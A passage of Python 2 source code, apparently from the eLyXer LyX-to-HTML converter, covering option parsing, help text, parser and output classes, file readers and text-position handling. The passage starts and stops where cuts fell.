u'Part':u'Part', u'Section':u'Section', u'Subsection':u'Subsection', u'Subsubsection':u'Subsubsection', u'abstract':u'Abstract', u'bibliography':u'Bibliography', u'figure':u'figure', u'float-algorithm':u'Algorithm ', u'float-figure':u'Figure ', u'float-listing':u'Listing ', u'float-table':u'Table ', u'float-tableau':u'Tableau ', u'footnotes':u'Footnotes', u'generated-by':u'Document generated by ', u'generated-on':u' on ', u'index':u'Index', u'jsmath-enable':u'Please enable JavaScript on your browser.', u'jsmath-requires':u' requires JavaScript to correctly process the mathematics on this page. ', u'jsmath-warning':u'Warning: ', u'list-algorithm':u'List of Algorithms', u'list-figure':u'List of Figures', u'list-table':u'List of Tables', u'list-tableau':u'List of Tableaux', u'main-page':u'Main page', u'next':u'Next', u'nomenclature':u'Nomenclature', u'on-page':u' on page ', u'prev':u'Prev', u'references':u'References', u'toc':u'Table of Contents', u'toc-for':u'Contents for ', u'up':u'Up', } languages = { u'american':u'en', u'british':u'en', u'deutsch':u'de', u'dutch':u'nl', u'english':u'en', u'french':u'fr', u'ngerman':u'de', u'spanish':u'es', } class CommandLineParser(object): "A parser for runtime options" def __init__(self, options): self.options = options def parseoptions(self, args): "Parse command line options" if len(args) == 0: return None while len(args) > 0 and args[0].startswith('--'): key, value = self.readoption(args) if not key: return 'Option ' + value + ' not recognized' if not value: return 'Option ' + key + ' needs a value' setattr(self.options, key, value) return None def readoption(self, args): "Read the key and value for an option" arg = args[0][2:] del args[0] if '=' in arg: key = self.readequalskey(arg, args) else: key = arg.replace('-', '') if not hasattr(self.options, key): return None, key current = getattr(self.options, key) if isinstance(current, bool): return key, True # read value if len(args) == 0: return key, None if args[0].startswith('"'): initial = args[0] del args[0] return key, self.readquoted(args, initial) value = args[0] del args[0] if isinstance(current, list): current.append(value) return key, current return key, value def readquoted(self, args, initial): "Read a value between quotes" value = initial[1:] while len(args) > 0 and not args[0].endswith('"') and not args[0].startswith('--'): value += ' ' + args[0] del args[0] if len(args) == 0 or args[0].startswith('--'): return None value += ' ' + args[0:-1] return value def readequalskey(self, arg, args): "Read a key using equals" split = arg.split('=', 1) key = split[0] value = split[1] args.insert(0, value) return key class Options(object): "A set of runtime options" instance = None location = None nocopy = False copyright = False debug = False quiet = False version = False hardversion = False versiondate = False html = False help = False showlines = True unicode = False iso885915 = False css = [] title = None directory = None destdirectory = None toc = False toctarget = '' tocfor = None forceformat = None lyxformat = False target = None splitpart = None memory = True lowmem = False nobib = False converter = 'imagemagick' raw = False jsmath = None mathjax = None nofooter = False simplemath = False template = None noconvert = False notoclabels = False letterfoot = True numberfoot = False symbolfoot = False hoverfoot = True marginfoot = False endfoot = False supfoot = True alignfoot = False footnotes = None imageformat = None copyimages = False googlecharts = False embedcss = [] branches = dict() def parseoptions(self, args): "Parse command line options" Options.location = args[0] del args[0] parser = CommandLineParser(Options) result = parser.parseoptions(args) if result: Trace.error(result) self.usage() self.processoptions() def processoptions(self): "Process all options parsed." if Options.help: self.usage() if Options.version: self.showversion() if Options.hardversion: self.showhardversion() if Options.versiondate: self.showversiondate() if Options.lyxformat: self.showlyxformat() if Options.splitpart: try: Options.splitpart = int(Options.splitpart) if Options.splitpart <= 0: Trace.error('--splitpart requires a number bigger than zero') self.usage() except: Trace.error('--splitpart needs a numeric argument, not ' + Options.splitpart) self.usage() if Options.lowmem or Options.toc or Options.tocfor: Options.memory = False self.parsefootnotes() if Options.forceformat and not Options.imageformat: Options.imageformat = Options.forceformat if Options.imageformat == 'copy': Options.copyimages = True if Options.css == []: Options.css = ['http://elyxer.nongnu.org/lyx.css'] if Options.html: Options.simplemath = True if Options.toc and not Options.tocfor: Trace.error('Option --toc is deprecated; use --tocfor "page" instead') Options.tocfor = Options.toctarget if Options.nocopy: Trace.error('Option --nocopy is deprecated; it is no longer needed') # set in Trace if necessary for param in dir(Trace): if param.endswith('mode'): setattr(Trace, param, getattr(self, param[:-4])) def usage(self): "Show correct usage" Trace.error('Usage: ' + os.path.basename(Options.location) + ' [options] [filein] [fileout]') Trace.error('Convert LyX input file "filein" to HTML file "fileout".') Trace.error('If filein (or fileout) is not given use standard input (or output).') Trace.error('Main program of the eLyXer package (http://elyxer.nongnu.org/).') self.showoptions() def parsefootnotes(self): "Parse footnotes options." if not Options.footnotes: return Options.marginfoot = False Options.letterfoot = False options = Options.footnotes.split(',') for option in options: footoption = option + 'foot' if hasattr(Options, footoption): setattr(Options, footoption, True) else: Trace.error('Unknown footnotes option: ' + option) if not Options.endfoot and not Options.marginfoot and not Options.hoverfoot: Options.hoverfoot = True if not Options.numberfoot and not Options.symbolfoot: Options.letterfoot = True def showoptions(self): "Show all possible options" Trace.error(' Common options:') Trace.error(' --help: show this online help') Trace.error(' --quiet: disables all runtime messages') Trace.error('') Trace.error(' Advanced options:') Trace.error(' --debug: enable debugging messages (for developers)') Trace.error(' --version: show version number and release date') Trace.error(' --lyxformat: return the highest LyX version supported') Trace.error(' Options for HTML output:') Trace.error(' --title "title": set the generated page title') Trace.error(' --css "file.css": use a custom CSS file') Trace.error(' --embedcss "file.css": embed styles from elyxer.a CSS file into the output') Trace.error(' --html: output HTML 4.0 instead of the default XHTML') Trace.error(' --unicode: full Unicode output') Trace.error(' --iso885915: output a document with ISO-8859-15 encoding') Trace.error(' --nofooter: remove the footer "generated by eLyXer"') Trace.error(' --simplemath: do not generate fancy math constructions') Trace.error(' Options for image output:') Trace.error(' --directory "img_dir": look for images in the specified directory') Trace.error(' --destdirectory "dest": put converted images into this directory') Trace.error(' --imageformat ".ext": image output format, or "copy" to copy images') Trace.error(' --noconvert: do not convert images, use in original locations') Trace.error(' --converter "inkscape": use an alternative program to convert images') Trace.error(' Options for footnote display:') Trace.error(' --numberfoot: mark footnotes with numbers instead of letters') Trace.error(' --symbolfoot: mark footnotes with symbols (*, **...)') Trace.error(' --hoverfoot: show footnotes as hovering text (default)') Trace.error(' --marginfoot: show footnotes on the page margin') Trace.error(' --endfoot: show footnotes at the end of the page') Trace.error(' --supfoot: use superscript for footnote markers (default)') Trace.error(' --alignfoot: use aligned text for footnote markers') Trace.error(' --footnotes "options": specify several comma-separated footnotes options') Trace.error(' Available options are: "number", "symbol", "hover", "margin", "end",') Trace.error(' "sup", "align"') Trace.error(' Advanced output options:') Trace.error(' --splitpart "depth": split the resulting webpage at the given depth') Trace.error(' --tocfor "page": generate a TOC that points to the given page') Trace.error(' --target "frame": make all links point to the given frame') Trace.error(' --notoclabels: omit the part labels in the TOC, such as Chapter') Trace.error(' --lowmem: do the conversion on the fly (conserve memory)') Trace.error(' --raw: generate HTML without header or footer.') Trace.error(' --jsmath "URL": use jsMath from elyxer.the given URL to display equations') Trace.error(' --mathjax "URL": use MathJax from elyxer.the given URL to display equations') Trace.error(' --googlecharts: use Google Charts to generate formula images') Trace.error(' --template "file": use a template, put everything in <!--$content-->') Trace.error(' --copyright: add a copyright notice at the bottom') Trace.error(' Deprecated options:') Trace.error(' --toc: (deprecated) create a table of contents') Trace.error(' --toctarget "page": (deprecated) generate a TOC for the given page') Trace.error(' --nocopy: (deprecated) maintained for backwards compatibility') sys.exit() def showversion(self): "Return the current eLyXer version string" string = 'eLyXer version ' + GeneralConfig.version['number'] string += ' (' + GeneralConfig.version['date'] + ')' Trace.error(string) sys.exit() def showhardversion(self): "Return just the version string" Trace.message(GeneralConfig.version['number']) sys.exit() def showversiondate(self): "Return just the version dte" Trace.message(GeneralConfig.version['date']) sys.exit() def showlyxformat(self): "Return just the lyxformat parameter" Trace.message(GeneralConfig.version['lyxformat']) sys.exit() class BranchOptions(object): "A set of options for a branch" def __init__(self, name): self.name = name self.options = {'color':'#ffffff'} def set(self, key, value): "Set a branch option" if not key.startswith(ContainerConfig.string['startcommand']): Trace.error('Invalid branch option ' + key) return key = key.replace(ContainerConfig.string['startcommand'], '') self.options[key] = value def isselected(self): "Return if the branch is selected" if not 'selected' in self.options: return False return self.options['selected'] == '1' def __unicode__(self): "String representation" return 'options for ' + self.name + ': ' + unicode(self.options) import urllib class Cloner(object): "An object used to clone other objects." def clone(cls, original): "Return an exact copy of an object." "The original object must have an empty constructor." return cls.create(original.__class__) def create(cls, type): "Create an object of a given class." clone = type.__new__(type) clone.__init__() return clone clone = classmethod(clone) create = classmethod(create) class ContainerExtractor(object): "A class to extract certain containers." def __init__(self, config): "The config parameter is a map containing three lists: allowed, copied and extracted." "Each of the three is a list of class names for containers." "Allowed containers are included as is into the result." "Cloned containers are cloned and placed into the result." "Extracted containers are looked into." "All other containers are silently ignored." self.allowed = config['allowed'] self.cloned = config['cloned'] self.extracted = config['extracted'] def extract(self, container): "Extract a group of selected containers from elyxer.a container." list = [] locate = lambda c: c.__class__.__name__ in self.allowed + self.cloned recursive = lambda c: c.__class__.__name__ in self.extracted process = lambda c: self.process(c, list) container.recursivesearch(locate, recursive, process) return list def process(self, container, list): "Add allowed containers, clone cloned containers and add the clone." name = container.__class__.__name__ if name in self.allowed: list.append(container) elif name in self.cloned: list.append(self.safeclone(container)) else: Trace.error('Unknown container class ' + name) def safeclone(self, container): "Return a new container with contents only in a safe list, recursively." clone = Cloner.clone(container) clone.output = container.output clone.contents = self.extract(container) return clone class Parser(object): "A generic parser" def __init__(self): self.begin = 0 self.parameters = dict() def parseheader(self, reader): "Parse the header" header = reader.currentline().split() reader.nextline() self.begin = reader.linenumber return header def parseparameter(self, reader): "Parse a parameter" if reader.currentline().strip().startswith('<'): key, value = self.parsexml(reader) self.parameters[key] = value return split = reader.currentline().strip().split(' ', 1) reader.nextline() if len(split) == 0: return key = split[0] if len(split) == 1: self.parameters[key] = True return if not '"' in split[1]: self.parameters[key] = split[1].strip() return doublesplit = split[1].split('"') self.parameters[key] = doublesplit[1] def parsexml(self, reader): "Parse a parameter in xml form: <param attr1=value...>" strip = reader.currentline().strip() reader.nextline() if not strip.endswith('>'): Trace.error('XML parameter ' + strip + ' should be <...>') split = strip[1:-1].split() if len(split) == 0: Trace.error('Empty XML parameter <>') return None, None key = split[0] del split[0] if len(split) == 0: return key, dict() attrs = dict() for attr in split: if not '=' in attr: Trace.error('Erroneous attribute for ' + key + ': ' + attr) attr += '="0"' parts = attr.split('=') attrkey = parts[0] value = parts[1].split('"')[1] attrs[attrkey] = value return key, attrs def parseending(self, reader, process): "Parse until the current ending is found" if not self.ending: Trace.error('No ending for ' + unicode(self)) return while not reader.currentline().startswith(self.ending): process() def parsecontainer(self, reader, contents): container = self.factory.createcontainer(reader) if container: container.parent = self.parent contents.append(container) def __unicode__(self): "Return a description" return self.__class__.__name__ + ' (' + unicode(self.begin) + ')' class LoneCommand(Parser): "A parser for just one command line" def parse(self,reader): "Read nothing" return [] class TextParser(Parser): "A parser for a command and a bit of text" stack = [] def __init__(self, container): Parser.__init__(self) self.ending = None if container.__class__.__name__ in ContainerConfig.endings: self.ending = ContainerConfig.endings[container.__class__.__name__] self.endings = [] def parse(self, reader): "Parse lines as long as they are text" TextParser.stack.append(self.ending) self.endings = TextParser.stack + [ContainerConfig.endings['Layout'], ContainerConfig.endings['Inset'], self.ending] contents = [] while not self.isending(reader): self.parsecontainer(reader, contents) return contents def isending(self, reader): "Check if text is ending" current = reader.currentline().split() if len(current) == 0: return False if current[0] in self.endings: if current[0] in TextParser.stack: TextParser.stack.remove(current[0]) else: TextParser.stack = [] return True return False class ExcludingParser(Parser): "A parser that excludes the final line" def parse(self, reader): "Parse everything up to (and excluding) the final line" contents = [] self.parseending(reader, lambda: self.parsecontainer(reader, contents)) return contents class BoundedParser(ExcludingParser): "A parser bound by a final line" def parse(self, reader): "Parse everything, including the final line" contents = ExcludingParser.parse(self, reader) # skip last line reader.nextline() return contents class BoundedDummy(Parser): "A bound parser that ignores everything" def parse(self, reader): "Parse the contents of the container" self.parseending(reader, lambda: reader.nextline()) # skip last line reader.nextline() return [] class StringParser(Parser): "Parses just a string" def parseheader(self, reader): "Do nothing, just take note" self.begin = reader.linenumber + 1 return [] def parse(self, reader): "Parse a single line" contents = reader.currentline() reader.nextline() return contents class InsetParser(BoundedParser): "Parses a LyX inset" def parse(self, reader): "Parse inset parameters into a dictionary" startcommand = ContainerConfig.string['startcommand'] while reader.currentline() != '' and not reader.currentline().startswith(startcommand): self.parseparameter(reader) return BoundedParser.parse(self, reader) class ContainerOutput(object): "The generic HTML output for a container." def gethtml(self, container): "Show an error." Trace.error('gethtml() not implemented for ' + unicode(self)) def isempty(self): "Decide if the output is empty: by default, not empty." return False class EmptyOutput(ContainerOutput): def gethtml(self, container): "Return empty HTML code." return [] def isempty(self): "This output is particularly empty." return True class FixedOutput(ContainerOutput): "Fixed output" def gethtml(self, container): "Return constant HTML code" return container.html class ContentsOutput(ContainerOutput): "Outputs the contents converted to HTML" def gethtml(self, container): "Return the HTML code" html = [] if container.contents == None: return html for element in container.contents: if not hasattr(element, 'gethtml'): Trace.error('No html in ' + element.__class__.__name__ + ': ' + unicode(element)) return html html += element.gethtml() return html class TaggedOutput(ContentsOutput): "Outputs an HTML tag surrounding the contents." tag = None breaklines = False empty = False def settag(self, tag, breaklines=False, empty=False): "Set the value for the tag and other attributes." self.tag = tag if breaklines: self.breaklines = breaklines if empty: self.empty = empty return self def setbreaklines(self, breaklines): "Set the value for breaklines." self.breaklines = breaklines return self def gethtml(self, container): "Return the HTML code." if self.empty: return [self.selfclosing(container)] html = [self.open(container)] html += ContentsOutput.gethtml(self, container) html.append(self.close(container)) return html def open(self, container): "Get opening line." if not self.checktag(): return '' open = '<' + self.tag + '>' if self.breaklines: return open + '\n' return open def close(self, container): "Get closing line." if not self.checktag(): return '' close = '</' + self.tag.split()[0] + '>' if self.breaklines: return '\n' + close + '\n' return close def selfclosing(self, container): "Get self-closing line." if not self.checktag(): return '' selfclosing = '<' + self.tag + '/>' if self.breaklines: return selfclosing + '\n' return selfclosing def checktag(self): "Check that the tag is valid." if not self.tag: Trace.error('No tag in ' + unicode(container)) return False if self.tag == '': return False return True class FilteredOutput(ContentsOutput): "Returns the output in the contents, but filtered:" "some strings are replaced by others." def __init__(self): "Initialize the filters." self.filters = [] def addfilter(self, original, replacement): "Add a new filter: replace the original by the replacement." self.filters.append((original, replacement)) def gethtml(self, container): "Return the HTML code" result = [] html = ContentsOutput.gethtml(self, container) for line in html: result.append(self.filter(line)) return result def filter(self, line): "Filter a single line with all available filters." for original, replacement in self.filters: if original in line: line = line.replace(original, replacement) return line class StringOutput(ContainerOutput): "Returns a bare string as output" def gethtml(self, container): "Return a bare string" return [container.string] import sys import codecs class LineReader(object): "Reads a file line by line" def __init__(self, filename): if isinstance(filename, file): self.file = filename else: self.file = codecs.open(filename, 'rU', 'utf-8') self.linenumber = 1 self.lastline = None self.current = None self.mustread = True self.depleted = False try: self.readline() except UnicodeDecodeError: # try compressed file import gzip self.file = gzip.open(filename, 'rb') self.readline() def setstart(self, firstline): "Set the first line to read." for i in range(firstline): self.file.readline() self.linenumber = firstline def setend(self, lastline): "Set the last line to read." self.lastline = lastline def currentline(self): "Get the current line" if self.mustread: self.readline() return self.current def nextline(self): "Go to next line" if self.depleted: Trace.fatal('Read beyond file end') self.mustread = True def readline(self): "Read a line from elyxer.file" self.current = self.file.readline() if not isinstance(self.file, codecs.StreamReaderWriter): self.current = self.current.decode('utf-8') if len(self.current) == 0: self.depleted = True self.current = self.current.rstrip('\n\r') self.linenumber += 1 self.mustread = False Trace.prefix = 'Line ' + unicode(self.linenumber) + ': ' if self.linenumber % 1000 == 0: Trace.message('Parsing') def finished(self): "Find out if the file is finished" if self.lastline and self.linenumber == self.lastline: return True if self.mustread: self.readline() return self.depleted def close(self): self.file.close() class LineWriter(object): "Writes a file as a series of lists" file = False def __init__(self, filename): if isinstance(filename, file): self.file = filename self.filename = None else: self.filename = filename def write(self, strings): "Write a list of strings" for string in strings: if not isinstance(string, basestring): Trace.error('Not a string: ' + unicode(string) + ' in ' + unicode(strings)) return self.writestring(string) def writestring(self, string): "Write a string" if not self.file: self.file = codecs.open(self.filename, 'w', "utf-8") if self.file == sys.stdout and sys.version_info < (3,0): string = string.encode('utf-8') self.file.write(string) def writeline(self, line): "Write a line to file" self.writestring(line + '\n') def close(self): self.file.close() class Globable(object): """A bit of text which can be globbed (lumped together in bits). Methods current(), skipcurrent(), checkfor() and isout() have to be implemented by subclasses.""" leavepending = False def __init__(self): self.endinglist = EndingList() def checkbytemark(self): "Check for a Unicode byte mark and skip it." if self.finished(): return if ord(self.current()) == 0xfeff: self.skipcurrent() def isout(self): "Find out if we are out of the position yet." Trace.error('Unimplemented isout()') return True def current(self): "Return the current character." Trace.error('Unimplemented current()') return '' def checkfor(self, string): "Check for the given string in the current position." Trace.error('Unimplemented checkfor()') return False def finished(self): "Find out if the current text has finished." if self.isout(): if not self.leavepending: self.endinglist.checkpending() return True return self.endinglist.checkin(self) def skipcurrent(self): "Return the current character and skip it." Trace.error('Unimplemented skipcurrent()') return '' def glob(self, currentcheck): "Glob a bit of text that satisfies a check on the current char." glob = '' while not self.finished() and currentcheck(): glob += self.skipcurrent() return glob def globalpha(self): "Glob a bit of alpha text" return self.glob(lambda: self.current().isalpha()) def globnumber(self): "Glob a row of digits." return self.glob(lambda: self.current().isdigit()) def isidentifier(self): "Return if the current character is alphanumeric or _." if self.current().isalnum() or self.current() == '_': return True return False def globidentifier(self): "Glob alphanumeric and _ symbols." return self.glob(self.isidentifier) def isvalue(self): "Return if the current character is a value character:" "not a bracket or a space." if self.current().isspace(): return False if self.current() in '{}()': return False return True def globvalue(self): "Glob a value: any symbols but brackets." return self.glob(self.isvalue) def skipspace(self): "Skip all whitespace at current position." return self.glob(lambda: self.current().isspace()) def globincluding(self, magicchar): "Glob a bit of text up to (including) the magic char." glob = self.glob(lambda: self.current() != magicchar) + magicchar self.skip(magicchar) return glob def globexcluding(self, excluded): "Glob a bit of text up until (excluding) any excluded character." return self.glob(lambda: self.current() not in excluded) def pushending(self, ending, optional = False): "Push a new ending to the bottom" self.endinglist.add(ending, optional) def popending(self, expected = None): "Pop the ending found at the current position" if self.isout() and self.leavepending: return expected ending = self.endinglist.pop(self) if expected and expected != ending: Trace.error('Expected ending ' + expected + ', got ' + ending) self.skip(ending) return ending def nextending(self): "Return the next ending in the queue." nextending = self.endinglist.findending(self) if not nextending: return None return nextending.ending class EndingList(object): "A list of position endings" def __init__(self): self.endings = [] def add(self, ending, optional = False): "Add a new ending to the list" self.endings.append(PositionEnding(ending, optional)) def pickpending(self, pos): "Pick any pending endings from a parse position." self.endings += pos.endinglist.endings def checkin(self, pos): "Search for an ending" if self.findending(pos): return True return False def pop(self, pos): "Remove the ending at the current position" if pos.isout(): Trace.error('No ending out of bounds') return '' ending = self.findending(pos) if not ending: Trace.error('No ending at ' + pos.current()) return '' for each in reversed(self.endings): self.endings.remove(each) if each == ending: return each.ending elif not each.optional: Trace.error('Removed non-optional ending ' + each) Trace.error('No endings left') return '' def findending(self, pos): "Find the ending at the current position" if len(self.endings) == 0: return None for index, ending in enumerate(reversed(self.endings)): if ending.checkin(pos): return ending if not ending.optional: return None return None def checkpending(self): "Check if there are any pending endings" if len(self.endings) != 0: Trace.error('Pending ' + unicode(self) + ' left open') def __unicode__(self): "Printable representation" string = 'endings [' for ending in self.endings: string += unicode(ending) + ',' if len(self.endings) > 0: string = string[:-1] return string + ']' class PositionEnding(object): "An ending for a parsing position" def __init__(self, ending, optional): self.ending = ending self.optional = optional def checkin(self, pos): "Check for the ending" return pos.checkfor(self.ending) def __unicode__(self): "Printable representation" string = 'Ending ' + self.ending if self.optional: string += ' (optional)' return string class Position(Globable): """A position in a text to parse. Including those in Globable, functions to implement by subclasses are: skip(), identifier(), extract(), isout() and current().""" def __init__(self): Globable.__init__(self) def skip(self, string): "Skip a string" Trace.error('Unimplemented skip()') def identifier(self): "Return an identifier for the current position." Trace.error('Unimplemented identifier()') return 'Error' def extract(self, length): "Extract the next string of the given length, or None if not enough text," "without advancing the parse position." Trace.error('Unimplemented extract()') return None def checkfor(self, string): "Check for a string at the given position." return string == self.extract(len(string)) def checkforlower(self, string): "Check for a string in lower case." extracted = self.extract(len(string)) if not extracted: return False return string.lower() == self.extract(len(string)).lower() def skipcurrent(self): "Return the current character and skip it." current = self.current() self.skip(current) return current def next(self): "Advance the position and return the next character." self.skipcurrent() return self.current() def checkskip(self, string): "Check for a string at the given position; if there, skip it" if not self.checkfor(string): return False self.skip(string) return True def error(self, message): "Show an error message and the position identifier." Trace.error(message + ': ' + self.identifier()) class TextPosition(Position): "A parse position based on a raw text." def __init__(self, text): "Create the position from elyxer.some text." Position.__init__(self) self.pos = 0 self.text = text self.checkbytemark() def skip(self, string): "Skip a string of characters." self.pos += len(string) def identifier(self): "Return a sample of the remaining text." length = 30 if self.pos + length > len(self.text): length = len(self.text) - self.pos return '*' + self.text[self.pos:self.pos + length] + '*' def isout(self): "Find out if we are out of the text yet." return self.pos >= len(self.text) def current(self): "Return the current character, assuming we are not out." return self.text[self.pos] def extract(self, length): "Extract the next string of the given length, or None if not enough text." if self.pos + length > len(self.text): return None return self.text[self.pos : self.pos + length] class FilePosition(Position): "A parse position based on an underlying file." def __init__(self, filename): "Create the position from a file." Position.__init__(self) self.reader = LineReader(filename) self.pos = 0 self.checkbytemark() def skip(self, string): "Skip a string of characters." length = len(string) while self.pos + length > len(self.reader.currentline()): length -= len(self.reader.currentline()) - self.pos + 1 self.nextline() self.pos += length def currentline(self): "Get the current line of the underlying file." return self.reader.currentline() def nextline(self): "Go to the next line." self.reader.nextline() self.pos = 0 def linenumber(self): "Return the line number of the file." return self.reader.linenumber + 1 def identifier(self): "Return the current line and line number in the file." before = self.reader.currentline()[:self.pos - 1] after = self.reader.currentline()[self.pos:] return 'line ' + unicode(self.getlinenumber()) + ': ' + before + '*' + after def isout(self): "Find out if we are out of the text yet." if self.pos > len(self.reader.currentline()): if self.pos > len(self.reader.currentline()) + 1: Trace.error('Out of the line ' + self.reader.currentline() + ': ' + unicode(self.pos)) self.nextline() return self.reader.finished() def current(self): "Return the current character, assuming we are not out." if self.pos == len(self.reader.currentline()): return '\n' if self.pos > len(self.reader.currentline()): Trace.error('Out of the line ' + self.reader.currentline() + ': ' + unicode(self.pos)) return '*' return self.reader.currentline()[self.pos] def extract(self, length): "Extract the next string of the given length, or None if not enough text." if self.pos + length > len(self.reader.currentline()): return None return self.reader.currentline()[self.pos : self.pos + length] class Container(object): "A container for text and objects in a lyx file" partkey = None parent = None begin = None def __init__(self): self.contents = list() def process(self): "Process contents" pass def gethtml(self): "Get the resulting HTML" html = self.output.gethtml(self) if isinstance(html, basestring): Trace.error('Raw string ' + html) html = [html] return self.escapeall(html) def escapeall(self, lines): "Escape all lines in an array according to the output options." result = [] for line in lines: if Options.html: line = self.escape(line, EscapeConfig.html) if Options.iso885915: line = self.escape(line, EscapeConfig.iso885915) line = self.escapeentities(line) elif not Options.unicode: line = self.escape(line, EscapeConfig.nonunicode) result.append(line) return result def escape(self, line, replacements = EscapeConfig.entities): "Escape a line with replacements from elyxer.a map" pieces = replacements.keys() # do them in order pieces.sort() for piece in pieces: if piece in line: line = line.replace(piece, replacements[piece]) return line def escapeentities(self, line): "Escape all Unicode characters to HTML entities." result = '' pos = TextPosition(line) while not pos.finished(): if ord(pos.current()) > 128: codepoint = hex(ord(pos.current())) if codepoint == '0xd835': codepoint = hex(ord(pos.next()) + 0xf800) result += '&#' + codepoint[1:] + ';' else: result += pos.current() pos.skipcurrent() return result def searchall(self, type): "Search for all embedded containers of a given type" list = [] self.searchprocess(type, lambda container: list.append(container)) return list def searchremove(self, type): "Search for all containers of a type and remove them" list = self.searchall(type) for container in list: container.parent.contents.remove(container) return list def searchprocess(self, type, process): "Search for elements of a given type and process them" self.locateprocess(lambda container: isinstance(container, type), process) def locateprocess(self, locate, process): "Search for all embedded containers and process them" for container in self.contents: container.locateprocess(locate, process) if locate(container): process(container) def recursivesearch(self, locate, recursive, process): "Perform a recursive search in the container." for container in self.contents: if recursive(container): container.recursivesearch(locate, recursive, process) if locate(container): process(container) def extracttext(self): "Extract all text from elyxer.allowed containers." result = '' constants = ContainerExtractor(ContainerConfig.extracttext).extract(self) for constant in constants: result += constant.string return result def group(self, index, group, isingroup): "Group some adjoining elements into a group" if index >= len(self.contents): return if hasattr(self.contents[index], 'grouped'): return while index < len(self.contents) and isingroup(self.contents[index]): self.contents[index].grouped = True group.contents.append(self.contents[index]) self.contents.pop(index) self.contents.insert(index, group) def remove(self, index): "Remove a container but leave its contents" container = self.contents[index] self.contents.pop(index) while len(container.contents) > 0: self.contents.insert(index, container.contents.pop()) def tree(self, level = 0): "Show in a tree" Trace.debug(" " * level + unicode(self)) for container in self.contents: container.tree(level + 1) def getparameter(self, name): "Get the value of a parameter, if present." if not name in self.parameters: return None return self.parameters[name] def getparameterlist(self, name): "Get the value of a comma-separated parameter as a list." paramtext = self.getparameter(name) if not paramtext: return [] return paramtext.split(',') def hasemptyoutput(self): "Check if the parent's output is empty." current = self.parent while current: if current.output.isempty(): return True current = current.parent return False def __unicode__(self): "Get a description" if not self.begin: return self.__class__.__name__ return self.__class__.__name__ + '@' + unicode(self.begin) class BlackBox(Container): "A container that does not output anything" def __init__(self): self.parser = LoneCommand() self.output = EmptyOutput() self.contents = [] class LyXFormat(BlackBox): "Read the lyxformat command" def process(self): "Show warning if version < 276" version = int(self.header[1]) if version < 276: Trace.error('Warning: unsupported old format version ' + str(version)) if version > int(GeneralConfig.version['lyxformat']): Trace.error('Warning: unsupported new format version ' + str(version)) class StringContainer(Container): "A container for a single string" parsed = None def __init__(self): self.parser = StringParser() self.output = StringOutput() self.string = '' def process(self): "Replace special chars from elyxer.the contents." if self.parsed: self.string = self.replacespecial(self.parsed) self.parsed = None def replacespecial(self, line): "Replace all special chars from elyxer.a line" replaced = self.escape(line, EscapeConfig.entities) replaced = self.changeline(replaced) if ContainerConfig.string['startcommand'] in replaced and len(replaced) > 1: # unprocessed commands if self.begin: message = 'Unknown command at ' + unicode(self.begin) + ': ' else: message = 'Unknown command: ' Trace.error(message + replaced.strip()) return replaced def changeline(self, line): line = self.escape(line, EscapeConfig.chars) if not ContainerConfig.string['startcommand'] in line: return line line = self.escape(line, EscapeConfig.commands) return line def extracttext(self): "Return all text." return self.string def __unicode__(self): "Return a printable representation." result = 'StringContainer' if self.begin: result += '@' + unicode(self.begin) ellipsis = '...' if len(self.string.strip()) <= 15: ellipsis = '' return result + ' (' + self.string.strip()[:15] + ellipsis + ')' class Constant(StringContainer): "A constant string" def __init__(self, text): self.contents = [] self.string = text self.output = StringOutput() def __unicode__(self): return 'Constant: ' + self.string class TaggedText(Container): "Text inside a tag" output = None def __init__(self): self.parser = TextParser(self) self.output = TaggedOutput() def complete(self, contents, tag, breaklines=False): "Complete the tagged text and return it" self.contents = contents self.output.tag = tag self.output.breaklines = breaklines return self def constant(self, text, tag, breaklines=False): "Complete the tagged text with a constant" constant = Constant(text) return self.complete([constant], tag, breaklines) def __unicode__(self): "Return a printable representation." if not hasattr(self.output, 'tag'): return 'Emtpy tagged text' if not self.output.tag: return 'Tagged <unknown tag>' return 'Tagged <' + self.output.tag + '>' class DocumentParameters(object): "Global parameters for the document." pdftitle = None indentstandard = False tocdepth = 10 startinglevel = 0 maxdepth = 10 language = None bibliography = None outputchanges = False displaymode = False class FormulaParser(Parser): "Parses a formula" def parseheader(self, reader): "See if the formula is inlined" self.begin = reader.linenumber + 1 type = self.parsetype(reader) if not type: reader.nextline() type = self.parsetype(reader) if not type: Trace.error('Unknown formula type in ' + reader.currentline().strip()) return ['unknown'] return [type] def parsetype(self, reader): "Get the formula type from the first line." if reader.currentline().find(FormulaConfig.starts['simple']) >= 0: return 'inline' if reader.currentline().find(FormulaConfig.starts['complex']) >= 0: return 'block' if reader.currentline().find(FormulaConfig.starts['unnumbered']) >= 0: return 'block' if reader.currentline().find(FormulaConfig.starts['beginbefore']) >= 0: return 'numbered' return None def parse(self, reader): "Parse the formula until the end" formula = self.parseformula(reader) while not reader.currentline().startswith(self.ending): stripped = reader.currentline().strip() if len(stripped) > 0: Trace.error('Unparsed formula line ' + stripped) reader.nextline() reader.nextline() return formula def parseformula(self, reader): "Parse the formula contents" simple = FormulaConfig.starts['simple'] if simple in reader.currentline(): rest = reader.currentline().split(simple, 1)[1] if simple in rest: # formula is $...$ return self.parsesingleliner(reader, simple, simple) # formula is multiline $...$ return self.parsemultiliner(reader, simple, simple) if FormulaConfig.starts['complex'] in reader.currentline(): # formula of the form \[...\] return self.parsemultiliner(reader, FormulaConfig.starts['complex'], FormulaConfig.endings['complex']) beginbefore = FormulaConfig.starts['beginbefore'] beginafter = FormulaConfig.starts['beginafter'] if beginbefore in reader.currentline(): if reader.currentline().strip().endswith(beginafter): current = reader.currentline().strip() endsplit = current.split(beginbefore)[1].split(beginafter) startpiece = beginbefore + endsplit[0] + beginafter endbefore = FormulaConfig.endings['endbefore'] endafter = FormulaConfig.endings['endafter'] endpiece = endbefore + endsplit[0] + endafter return startpiece + self.parsemultiliner(reader, startpiece, endpiece) + endpiece Trace.error('Missing ' + beginafter + ' in ' + reader.currentline()) return '' begincommand = FormulaConfig.starts['command'] beginbracket = FormulaConfig.starts['bracket'] if begincommand in reader.currentline() and beginbracket in reader.currentline(): endbracket = FormulaConfig.endings['bracket'] return self.parsemultiliner(reader, beginbracket, endbracket) Trace.error('Formula beginning ' + reader.currentline() + ' is unknown') return '' def parsesingleliner(self, reader, start, ending): "Parse a formula in one line" line = reader.currentline().strip() if not start in line: Trace.error('Line ' + line + ' does not contain formula start ' + start) return '' if not line.endswith(ending): Trace.error('Formula ' + line + ' does not end with ' + ending) return '' index = line.index(start) rest = line[index + len(start):-len(ending)] reader.nextline() return rest def parsemultiliner(self, reader, start, ending): "Parse a formula in multiple lines" formula = '' line = 